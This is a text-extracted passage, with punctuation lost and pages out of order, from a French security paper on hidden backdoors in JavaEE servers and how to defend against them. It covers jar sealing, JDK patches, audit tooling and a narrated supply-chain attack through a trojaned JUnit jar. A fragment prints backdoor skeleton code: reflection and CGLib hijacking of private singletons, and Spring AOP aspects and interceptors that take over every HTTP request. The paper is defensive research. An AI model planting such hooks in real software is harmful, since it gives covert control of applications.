ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
